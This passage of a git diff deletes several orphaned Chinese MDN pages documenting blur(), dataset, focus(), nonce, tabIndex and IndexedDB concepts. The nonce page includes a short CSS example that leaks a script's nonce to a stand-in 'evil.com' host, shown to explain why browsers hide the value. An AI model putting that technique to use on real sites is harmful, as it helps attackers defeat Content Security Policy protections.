- Reference -translation_of: Web/API/HTMLOrForeignElement/blur -original_slug: Web/API/HTMLOrForeignElement/blur ---- -<p>{{ APIRef() }}</p> -<h3 id="Summary" name="Summary">概述</h3> -<p><strong>blur</strong>方法用来移除当前元素所获得的键盘焦点.</p> -<h3 id="Syntax" name="Syntax">语法</h3> -<pre class="eval">element.blur() -</pre> -<h3 id="Specification" name="Specification">规范</h3> -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-28216144">blur</a></p> -<h3 id="相关链接">相关链接</h3> -<ul> - <li><a href="/zh-cn/DOM/element.focus" title="zh-cn/DOM/element.focus">DOM element focus</a></li> -</ul> -<p>{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html deleted file mode 100644 index 6607ae59b3..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: HTMLElement.dataset -slug: orphaned/Web/API/HTMLOrForeignElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset -original_slug: Web/API/HTMLOrForeignElement/dataset ---- -<p>{{ APIRef }}</p> - -<p><code><strong>HTMLElement.dataset</strong></code>属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有<a href="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定义数据属性</a>(<em>data-*</em>)集。</p> - -<p>它是一个<a href="/zh-CN/DOM/DOMStringMap">DOMString的映射</a>,每个自定义数据属性的一个条目。</p> - -<p>请注意,<strong>dataset </strong>属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。</p> - -<p>还要注意,一个HTML <code><strong>data-</strong></code><em>attribute </em>及其对应的DOM <code><strong>dataset.</strong></code><em>property</em> 不共享相同的名称,但它们总是相似的:</p> - -<ul> - <li>在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母,数字和以下字符: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) - 但不是任何ASCII大写字母(A到Z)。</li> - <li>JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称,但在 camelCase中,没有破折号,点等。</li> -</ul> - -<p> </p> - -<p>自定义的数据属性名称是以 <code>data- </code>开头的。 它必须要遵循 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" rel="external nofollow" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)。此外不应包含ASCII 码大写字母。</p> - -<p>自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:</p> - -<ul> - <li>前缀 <code>data-</code> 被去除(包括减号);</li> - <li>对于每个在ASCII小写字母<span style="line-height: 1.5;"> </span><code style="font-style: normal;">a到</code><span style="line-height: 1.5;"> </span><code style="font-style: normal;">z前面</code>的减号 (<code>U+002D</code>),减号会被去除,并且字母会转变成对应的大写字母。</li> - <li>其他字符(包含其他减号)都不发生变化</li> -</ul> - -<p>与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:</p> - -<ul> - <li>约束:减号在转变前一定不能紧跟一个ASCII小写字母 <code style="font-style: normal;">a</code> 到 <code style="font-style: normal;">z之间;</code></li> - <li>添加 <code>data-</code> 前缀;</li> - <li>任何ASCII大写字母 <code>A</code> 到 <code>Z</code> 将转化成一个减号紧跟对应的小写字母;</li> - <li>其他字符不会发生变化</li> -</ul> - -<p>上面规则的约束是为了保证这两种转换是正好相反的转换。</p> - -<p>例如,属性名称 <code>data-abc-def</code> 与键值 <code>abcDef 相对应。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>string</em> = <em>element</em>.dataset.<em>camelCasedName</em>; -<em>element.</em>dataset.<em>camelCasedName</em> = <em>string</em>;</pre> - -<h2 id="实例">实例</h2> - -<pre class="brush: js"><div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe -</div> - -var el = document.querySelector('#user'); - -// el.id == 'user' -// el.dataset.id === '1234567890' -// el.dataset.user === 'johndoe' -// el.dataset.dateOfBirth === '' - -el.dataset.dateOfBirth = '1960-10-03'; // set the DOB. - -// 'someDataAttr' in el.dataset === false - -el.dataset.someDataAttr = 'mydata'; -// 'someDataAttr' in el.dataset === true -</pre> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>8</td> - <td>{{ CompatGeckoDesktop("6.0") }}</td> - <td>11</td> - <td>11.10</td> - <td>6</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - </tr> - </tbody> -</table> -</div> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html deleted file mode 100644 index 2e465a6b0a..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: HTMLElement.focus() -slug: orphaned/Web/API/HTMLOrForeignElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus -original_slug: Web/API/HTMLOrForeignElement/focus ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。</span></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>element</var>.focus(<var>options</var>); // Object parameter</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>options</code> {{optional_inline}}</dt> - <dd>An optional object providing options to control aspects of the focusing process. This object may contain the following property:</dd> - <dd> - <dl> - <dt><code>preventScroll</code> {{optional_inline}}</dt> - <dd>A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of <code>false</code> for <code>preventScroll</code> (the default) means that the browser will scroll the element into view after focusing it. If <code>preventScroll</code> is set to <code>true</code>, no scrolling will occur.</dd> - </dl> - </dd> -</dl> - -<h2 id="示例">示例</h2> - -<h3 id="将焦点设置到文本框上">将焦点设置到文本框上</h3> - -<h4 id="JavaScript">JavaScript</h4> - -<pre class="brush: js">focusMethod = function getFocus() { - document.getElementById("myTextField").focus(); -}</pre> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html"><input type="text" id="myTextField" value="Text field."> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button> -</pre> - -<h4 id="结果">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p> - -<h3 id="将焦点设置到按钮上">将焦点设置到按钮上</h3> - -<h4 id="JavaScript_2">JavaScript</h4> - -<pre>focusMethod = function getFocus() { - document.getElementById("myButton").focus(); -}</pre> - -<h4 id="HTML_2">HTML</h4> - -<pre><button type="button" id="myButton">Click Me!</button> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button></pre> - -<h4 id="结果_2">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p> - -<h3 id="Focus_with_focusOption">Focus with focusOption</h3> - -<h4 id="JavaScript_3">JavaScript</h4> - -<pre class="brush: js">focusScrollMethod = function getFocus() { - document.getElementById("myButton").focus({preventScroll:false}); -} -focusNoScrollMethod = function getFocusWithoutScrolling() { - document.getElementById("myButton").focus({preventScroll:true}); -} - -</pre> - -<h4 id="HTML_3">HTML</h4> - -<pre class="brush: html"><button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button> -<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button> - -<div id="container" style="height: 1000px; width: 1000px;"> -<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button> -</div> - -</pre> - -<h4 id="结果_3">结果</h4> - -<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="备注">备注</h2> - -<ul> - <li>If you call <code>HTMLElement.focus()</code> from a mousedown event handler, you must call <code>event.preventDefault()</code> to keep the focus from leaving the <code>HTMLElement</code></li> - <li> - <p>Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout <a href="https://blog.whatwg.org/focusing-on-focus">WHATWG blog</a> for more info.</p> - </li> -</ul> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.focus")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.</li> - <li>{{ domxref("document.activeElement") }} to know which is the currently focused element.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 9b3c39fbd4..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: orphaned/Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLOrForeignElement/nonce ---- -<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> - -<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。</p> - -<p>在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce -HTMLElement.nonce = <em>nonce</em></pre> - -<h3 id="访问nonce属性值">访问nonce属性值</h3> - -<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p> - -<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> - -<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> - -<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p> - -<pre class="notranslate">script[nonce~=whatever] { - background: url("https://evil.com/nonce?whatever"); -}</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初始定义</td> - </tr> - </tbody> -</table> - -<h2 id="支持的浏览器">支持的浏览器</h2> - -<div> -<p>{{Compat("api.HTMLElement.nonce")}}</p> -</div> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html deleted file mode 100644 index 576b630344..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: orphaned/Web/API/HTMLOrForeignElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex -original_slug: Web/API/HTMLOrForeignElement/tabIndex ---- -<div> -<div>{{ APIRef("HTML DOM") }}</div> -</div> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>获取或设置当前元素的tab键激活顺序.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval">element.tabIndex = <em>index </em><em>index </em>= element.tabIndex -</pre> - -<h3 id="Parameters" name="Parameters">参数</h3> - -<ul> - <li><code>index</code>是一个数字,表示顺序。取值需要在0到32767之间。</li> -</ul> - -<p>Tab键的遍历顺序是这样的:</p> - -<ol> - <li>对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。</li> - <li>对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。</li> - <li>处于不可用状态的元素不会被遍历到。</li> -</ol> - -<p>支持tabIndex属性的元素有:a,area,button,input,object,select和textarea<font face="monospace" size="3"><span style="line-height: 19.5px;">。</span></font></p> - -<p>tabIndex的值不需要是连续的,也不需要以某个特定值开始。</p> - -<h3 id="Example" name="Example">例子</h3> - -<pre>var b1 = document.getElementById("button1"); -b1.tabIndex = 1; -</pre> - -<h3 id="Specification" name="Specification">规范</h3> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">W3C DOM Level 2 HTML tabIndex</a></p> - -<p>了解更多,请查看: <a href="/zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex" title="zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex">The solution: changes to standard behavior of tabindex</a></p> - -<p>{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html deleted file mode 100644 index 3d61520d83..0000000000 --- a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: 基本概念 -slug: orphaned/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -tags: - - IndexedDB 总述 -translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -original_slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB ---- -<p>{{DefaultAPISidebar("IndexedDB")}}</p> - -<div class="summary"> -<p><strong>IndexedDB </strong>是一种在用户浏览器中持久存储数据的方法。它允许您不考虑网络可用性,创建具有丰富查询能力的可离线 Web 应用程序。IndexedDB 对于存储大量数据的应用程序(例如借阅库中的 DVD 目录)和不需要持久 Internet 连接的应用程序(例如邮件客户端、待办事项列表或记事本)很有用。</p> -</div> - -<h2 id="关于本文档">关于本文档</h2> - -<p>本简介讨论了 IndexedDB 中的基本概念和术语。为您提供了概览并解释了关键概念。</p> - -<p>您会发现以下非常有用的内容:</p> - -<ul> - <li>有关 IndexedDB 的设计和结构的概述,请参阅<a href="#concepts">概览</a>。</li> - <li>要了解有关 IndexedDB 术语的更多信息,请参阅<a href="#definitions">定义</a>部分。</li> - <li>有关如何使用 API 的详细教程,请参阅<a href="/zh-CN/docs/Web/API/IndexedDB_API/Using_IndexedDB">使用 IndexedDB</a>。</li> - <li>有关 IndexedDB API 的参考文档,请参阅主要的 <a href="/zh-CN/docs/Web/API/IndexedDB_API">IndexedDB API</a> 文章及其子页面,这些文章记录了 IndexedDB 使用的对象类型。</li> - <li>有关浏览器如何处理在后台存储数据的更多信息,请阅读<a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">浏览器存储限制和清理标准</a>。</li> -</ul> - -<h2 id="IndexedDB概况"> IndexedDB概况</h2> - -<p>使用IndexedDB,你可以使用一个key作为索引进行存储或者获取数据。 你可以在事务(transaction)中完成对数据的修改。和大多数web存储解决方案相同,indexedDB也遵从同源协议(<a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>). 所以你只能访问同域中存储的数据,而不能访问其他域的。</p> - -<p>IndexedDB 是一种异步(<a href="/zh-cn/IndexedDB#Asynchronous_API">asynchronous</a>) API,异步API适用于大多数情况,包括<a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>。因为在<a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>上的使用,它过去也有一个同步(<a href="https://developer.mozilla.org/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">synchronous</a>)的版本,但是因为缺少web社区的支持,它已经被从规范中移除了。</p> - -<p>IndexedDB 过去有一个竞争规范—— WebSQL 数据库,但是W3C组织在2010年11月18日废弃了webSql。尽管两者都是存储的解决方案,但是他们提供的不是同样的功能。IndexedDB 和WebSQL的不同点在于WebSQL 是关系型数据库访问系统,IndexedDB 是索引表系统(key-value型)。</p> - -<h2 id="基本概念">基本概念</h2> - -<p>如果你因为使用其他类型数据库有某些固定思维,那么你在使用IndexedDB的时候可能会感到困惑,所以请牢记以下重要的概念:</p> - -<ul> - <li> - <p><strong>IndexedDB 数据库使用 key-value 键值对储存数据.</strong> values 数据可以是结构非常复杂的对象,key可以是对象自身的属性。你可以对对象的任何属性创建索引(index)以实现快速查询和列举排序。key可以是二进制对象。</p> - </li> - <li> - <p><strong>IndexedDB 是事务模式的数据库</strong>. 任何操作都发生在事务(<a href="#gloss_transaction">transaction)</a>中。 IndexedDB API提供了索引(indexes)、表(tables)、指针(cursors)等等,但是所有这些必须是依赖于某种事务的。因此,你不能在事务外执行命令或者打开指针。事务(transaction)有生存周期,在生存周期以后使用它会报错。并且,事务(transaction)是自动提交的,不可以手动提交。</p> - - <p>当用户在不同的标签页同时打开Web应用的两个实例时,这个事务模型就会非常有用。如果没有事务操作的支持,这两个实例就会互相影响对方的修改。如果你不熟悉数据库的事务模型,请参考<a class="link-https" href="https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BA%8B%E5%8A%A1">数据库事务(维基百科)</a>。 同时参考<a href="https://en.wikipedia.org/wiki/Database_transaction">transaction</a>文章中关于事务的定义部分。</p> - </li> - <li> - <p><strong>The IndexedDB API 基本上是异步的。</strong> IndexedDB的API不通过return语句返回数据,而是需要你提供一个回调函数来接受数据。执行API时,你不以同步(synchronous)方式对数据库进行“存储”和“读取”操作,而是向数据库发送一个操作“请求”。当操作完成时,数据库会以DOM事件的方式通知你,同时事件的类型会告诉你这个操作是否成功完成。这个过程听起来会有些复杂,但是里面是有明智的原因的。这个和<a href="/zh-cn/DOM/XMLHttpRequest">XMLHttpRequest</a>请求是类似的</p> - </li> - <li> - <p><strong>IndexedDB数据库“请求”无处不在。 </strong>我们上边提到,数据库“请求”负责接受成功或失败的DOM事件。每一个“请求”都包含<code>onsuccess</code>和<code>onerror事件</code>属性,同时你还对“事件”调用addEventListener()和removeEventListener()。“请求”还包括<code>readyState,</code><code>result</code>和<code>errorCode属性,用来表示“请求”的状态。result属性尤其神奇,他可以根据“请求”生成的方式变成不同的东西,例如:</code>IDBCursor实例、刚插入数据库的数值对应的键值(key)等<code>。</code></p> - </li> - <li> - <p><strong>IndexedDB在结果准备好之后通过DOM事件通知用户。</strong> DOM事件总是有一个类型(<code>type</code>)属性(在IndexedDB中,该属性通常设置为<code>success</code>或<code>error</code>)。DOM事件还有一个目标(<code>target</code>)属性,用来告诉事件是被谁触发的。通常情况下,目标(<code>target</code>)属性是数据库操作生成的IDBRequest。成功(success)事件不弹出提示并且不能撤销,错误(error)事件会弹出提示且可以撤销。这一点是非常重要的,因为除非错误事件被撤销,否则他们会终止所在的任何事务。</p> - </li> - <li> - <p><strong>IndexedDB是面向对象的。</strong>indexedDB不是用二维表来表示集合的关系型数据库。这一点非常重要,将影响你设计和建立你的应用程序。</p> - - <p>传统的关系型数据库,你需要用到二维表来存储数据集合(每一行代表一个数据,每一列代表一个属性),indexedDB有所不同,它要求你为一种数据创建一个对象仓库(object Store),只要这种数据是一个JavaScript对象即可。每个对象仓库都有一个索引(index)集合以方便查询和迭代遍历。如果你不熟悉面向对象的数据库管理系统,可以参考<a href="https://en.wikipedia.org/wiki/Object_database">维基百科有关对象数据库的内容</a></p> - </li> - <li> - <p><strong>indexedDB不使用结构化查询语言(SQL)。</strong>它通过索引(index)所产生的指针(cursor)来完成查询操作,从而使你可以迭代遍历到结果集合。如果你不熟悉NoSQL系统,可以参考<a href="https://en.wikipedia.org/wiki/Object_database">维基百科相关文章</a>。</p> - </li> - <li> - <p><strong>IndexedDB遵循同源(same-origin)策略</strong> “源”指脚本所在文档URL的域名、应用层协议和端口。每一个“源”都有与其相关联的数据库。在同一个“源”内的所有数据库都有唯一、可区别的名称。</p> - - <p>IndexedDB的安全机制避免应用访问非同“源”的数据。例如,<a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a>的应用或页面可以访问<a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>的数据,因为他们同“源”。但是它们不能访问<a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a>(不同端口)或<a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a>(不同协议)的数据,因为他们不同“源”。</p> - </li> - <li> - <div class="blockIndicator note"> - <p>注意:第三方窗口上下文(例如HTML元素<strong>iframe</strong>)可以访问它所嵌入的网页的IndexedDB,除非浏览器被设置为<a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</p> - </div> - </li> -</ul> - -<h2 id="名词解释">名词解释</h2> - -<p>本节定义并解释了IndexedDB API中所使用的术语</p> - -<h3 id="数据库">数据库</h3> - -<dl> - <dt><strong>数据库(database)</strong></dt> - <dd>一个信息库,通常包含一个或多个 <a href="/zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB$edit#gloss_object_store">object stores</a>. 每个数据库必须包含以下内容:</dd> - <dd> - <ul> - <li>名字(Name)。它标识了一个特定源中的数据库,并且在数据库的整个生命周期内保持不变。 此名字可以为任意字符串值(包括空字符串)。</li> - <li>当前版本(<a href="/zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB$edit#gloss_version">version</a>)。当一个数据库首次创建时,它的 version 为1,除非另外指定. 每个数据库在任意时刻只能有一个 version。</li> - </ul> - </dd> - <dt>持久性(durable)</dt> - <dd>在 Firefox 中,IndexedDB 是持久的,也就是说在一个读写事务中,一旦 <code>IDBTransaction.oncomplete</code> 事件被触发,就代表着数据已经确保被写入磁盘中了。</dd> - <dd>从 Firfox 40 起,IndexedDB 事务放松了对持久性的保证以提高性能(参见 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1112702">Bug1112702</a>),这与其他支持 IndexedDB 的浏览器的处理方式相同。在这种情况下,当操作系统被告知去写入数据后 <code>complete</code> 事件便被触发,但此时数据可能还没有真正的写入磁盘。事件触发因此变得更快,但这样会有极小的机会发生以下情况:如果操作系统崩溃或在数据被写入磁盘前断电,那么整个事务都将丢失。由于这种灾难事件是罕见的,大多数使用者并不需要过分担心。</dd> - <dt>对象仓库(object store)</dt> - <dd> - <p>数据在数据库中存储的方式, 数据以键值对形式被对象仓库永久持有。对象仓库中的的数据以 <em><a href="#gloss_key">keys</a></em> 升序排列。</p> - - <p>每一个对象仓库在同一个数据库中必须有唯一的名字。对象存储可以有一个 <em><a href="#gloss_keygenerator">key generator</a></em> 和一个 <em><a href="#gloss_keypath">key path</a>。</em>如果对象仓库有 key path,则使用 <em><a href="#gloss_inline_key">in-line keys</a></em>; 否则使用 <em><a href="#gloss_outofline_key">out-of-line keys</a>。</em></p> - - <p>关于对象仓库的详细文档,请参考 <a href="../../../../zh-cn/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> 或者 <a href="../../../../zh-cn/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>。</p> - </dd> - <dt>版本(version)</dt> - <dd>当第一次创建一个数据库,它的版本为整型1。每个数据库依次有一个版本号; 一个数据库不能同时存在多个版本号。改变版本的唯一方法是通过一个比当前版本号更高的值去打开数据库。这会开启一个 <code>VERSION_CHANGE</code> 事务并且触发 <code>upgradeneeded</code> 事件。只有在该事件的处理函数中才能更新数据库模式。</dd> - <dd>注意:这里的描述以<a href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">最新规范</a>为准,这些规范可能只在最新的浏览器中实现了。老旧的浏览器实现了现在已弃用和移除的 <code>IDBDataBase.setVersion()</code> 方法。</dd> - <dt>数据库连接(database connection)</dt> - <dd>通过打开数据库创建的操作。一个给定的数据库可以同时拥有多个连接。</dd> - <dt>事务(transaction)</dt> - <dd>在一个特定的数据库上,一组具备原子性和持久性的数据访问和数据修改的操作。它是你与数据库交互的方式。并且,任何对于数据库中的数据读和修改的操作只能在事务中进行。</dd> - <dd> - <p>一个数据库连接可以拥有多个与之关联的事务,只要进行写操作事务的<a href="#">作用域</a>不相互重合。事务的作用域在事务被创建时就被确定,指定事务能够进行交互的对象仓库(object store),作用域一旦被确定就会在整个生命周期中保持不变。举个例子,如果一个数据库连接已经有了一个进行写操作的事务,其作用域覆盖 <code>flyingMonkey</code> 对象仓库,你可以开启新的事务其作用于 <code>unicornCentaur</code> 和 <code>unicornPegasus</code> 对象仓库。对于读操作的事务,你可以同时拥有多个,即使他们有重叠的作用域。</p> - - <p>事务被期望拥有较短的生命周期,所以浏览器会终止一个消耗时间过长的事务,为了释放存储资源,运行过久的事务会被锁定。你可以中断一个事务,来回滚事务中对数据库进行的操作。并且你甚至不需要等待事务开始或激活就可以中断它。</p> - - <p>事务有三种模式:读写、只读和版本变更。创建和删除对象仓库(object store)的唯一方法就是通过调用版本变更事务。了解更多关于事务类型的内容,请参考 <a href="/zh-cn/IndexedDB">IndexedDB</a>。</p> - - <p>因为所有的事情都在事务中发生,所以它是 <a href="../../../../zh-cn/IndexedDB/IDBTransaction">IndexedDB</a> 中非常重要的一个概念。了解更多关于事务,尤其是关于它和版本控制的关联,查看 <a href="../../../../zh-cn/IndexedDB/IDBTransaction">IDBTransaction</a> 中的参考文档。关于同步接口的文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBTransactionSync">IDBTransactionSync</a>。</p> - </dd> - <dt>请求(request)</dt> - <dd>在数据库上进行读写操作完成后的操作。每一个请求代表一个读或写操作。</dd> - <dt><a id="索引(index)" name="索引(index)">索引(index)</a></dt> - <dd> - <p>一个对象仓库,专门用来查找另一个对象仓库(object store)中的记录,其中被查找的对象仓库被称为引用对象仓库。索引(index)是一个稳定的键值对(key-value)存储,其记录中的值(value)是引用对象仓库记录中的键(key)。当引用对象仓库中的记录新增、更新或删除时,索引中的记录会自动的进行粒子性增加。索引中的每一条记录只能指向引用对象仓库中的一条记录,但多个索引可以引用同一个对象仓库。当对象仓库发生改变时,所有引用该对象仓库的引用均会自动更新。</p> - - <p>可选地,你也可以适用<a href="#键(key)">键(key)</a>再对象仓库中查找记录。</p> - - <p>了解更多关于如何适用索引,查看<a href="/zh-cn/IndexedDB/Using_IndexedDB#Using_an_index">使用 IndexedDB</a>。index 的参考文档查看<a href="../../../../zh-cn/IndexedDB/IDBKeyRange"> IDBKeyRange</a>。</p> - </dd> -</dl> - -<h3 id="键和值">键和值</h3> - -<dl> - <dt><a id="键(key)" name="键(key)">键(key)</a></dt> - <dd>在对象仓库中阻止和检索被存储起来的值的数据值。数据仓库的键来源于以下三个方式之一:键生成器、键路径和显式指定的值。键必须是一种能够比较大小的数据类型。在同一个对象仓库中每条记录必须有一个独一无二的键,所以你不能在同一个对象仓库中为多个记录设置同样的键。</dd> - <dd> - <p>键可以是以下数据类型:字符串、日期、浮点和数组。对于数组,键的取值可以从空数组到无穷。并且你可以使用嵌套数组。注意,在 Firefox 11 